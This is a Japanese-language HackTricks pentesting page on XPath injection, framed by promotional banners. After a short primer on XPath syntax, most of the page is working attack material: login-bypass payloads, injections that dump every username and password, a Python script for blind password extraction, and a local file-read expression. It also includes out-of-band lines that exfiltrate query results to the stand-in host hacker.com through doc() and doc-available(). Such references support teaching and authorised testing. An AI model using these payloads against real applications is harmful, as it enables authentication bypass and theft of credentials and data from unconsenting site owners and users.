hacktricks/pentesting-web/xpath-injection.md

325 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XPATHインジェクション
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手する
**Discord**https://discord.com/invite/N3FrSbmwdyに参加して、今日からトップハッカーと協力しましょう
## 基本構文
XPathインジェクションとして知られる攻撃技術は、ユーザー入力に基づいてXPathXML Path Languageクエリを形成するアプリケーションを悪用するために使用されます。
### 記述されたノード
XMLドキュメント内のさまざまなードを選択するために式が使用されます。これらの式とその説明は以下の通りです
* **nodename**: 名前が「nodename」のすべてのードが選択されます。
* **/**: ルートノードから選択されます。
* **//**: 現在のノードからの選択が行われ、ドキュメント内の位置に関係なく一致するノードが選択されます。
* **.**: 現在のノードが選択されます。
* **..**: 現在のノードの親が選択されます。
* **@**: 属性が選択されます。
### XPathの例
パス式とその結果の例には、次のものが含まれます:
* **bookstore**: 「bookstore」という名前のすべてのードが選択されます。
* **/bookstore**: ルート要素「bookstore」が選択されます。要素への絶対パスは、スラッシュ/)で始まるパスで表されることに注意してください。
* **bookstore/book**: 「bookstore」の子であるすべての「book」要素が選択されます。
* **//book**: ドキュメント内のすべての「book」要素が選択されます。位置に関係なく、ドキュメント内のすべての「book」要素が選択されます。
* **bookstore//book**: 「bookstore」要素の子孫であるすべての「book」要素が選択されます。位置に関係なく、「bookstore」要素の下にある場所に関係なく、すべての「book」要素が選択されます。
* **//@lang**: 「lang」という名前のすべての属性が選択されます。
### 述語の利用
選択を細分化するために述語が使用されます:
* **/bookstore/book\[1]**: 「bookstore」要素の最初の「book」要素が選択されます。IEバージョン5から9の回避策は、JavaScriptを介してSelectionLanguageをXPathに設定することです。
* **/bookstore/book\[last()]**: 「bookstore」要素の最後の「book」要素が選択されます。
* **/bookstore/book\[last()-1]**: 「bookstore」要素の最後から2番目の「book」要素が選択されます。
* **/bookstore/book\[position()<3]**: bookstore要素の最初の2つのbook要素が選択されます
* **//title\[@lang]**: lang属性を持つすべてのtitle要素が選択されます
* **//title\[@lang='en']**: lang属性値がenであるすべてのtitle要素が選択されます
* **/bookstore/book\[price>35.00]**: 価格が35.00よりも高い「bookstore」のすべての「book」要素が選択されます。
* **/bookstore/book\[price>35.00]/title**: 価格が35.00よりも高い「bookstore」の「book」要素のすべての「title」要素が選択されます。
### 不明なノードの処理
ワイルドカードは、不明なノードに一致させるために使用されます:
* **\***: 任意の要素ノードに一致します。
* **@**\*: 任意の属性ノードに一致します。
* **node()**: 任意の種類のノードに一致します。
その他の例には次のものがあります:
* **/bookstore/\***: 「bookstore」要素のすべての子要素ードが選択されます。
* **//\***: ドキュメント内のすべての要素が選択されます。
* **//title\[@\*]**: 1つ以上の任意の属性を持つすべての「title」要素が選択されます。
## 例
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### 情報へのアクセス
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### スキーマの特定と盗み取り
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## 認証バイパス
### **クエリの例:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **ユーザーとパスワードのORバイパス両方の値が同じ**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **nullインジェクションの悪用**
```
Username: ' or 1]%00
```
### **ユーザー名またはパスワードでのダブルOR**脆弱なフィールドが1つだけ有効
重要:**「and」が最初に行われる操作であることに注意してください**。
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## 文字列の抽出
出力には文字列が含まれており、ユーザーは値を操作して検索できます。
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## ブラインドエクスプロイテーション
### **値の長さを取得し、比較によって抽出する:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Pythonの例**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### ファイルの読み取り
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB Exploitation
## OOB Exploitation
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### 自動ツール
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## 参考文献
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと情報を通じて、ハッキングの世界を追いかけましょう
**最新のアナウンス**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>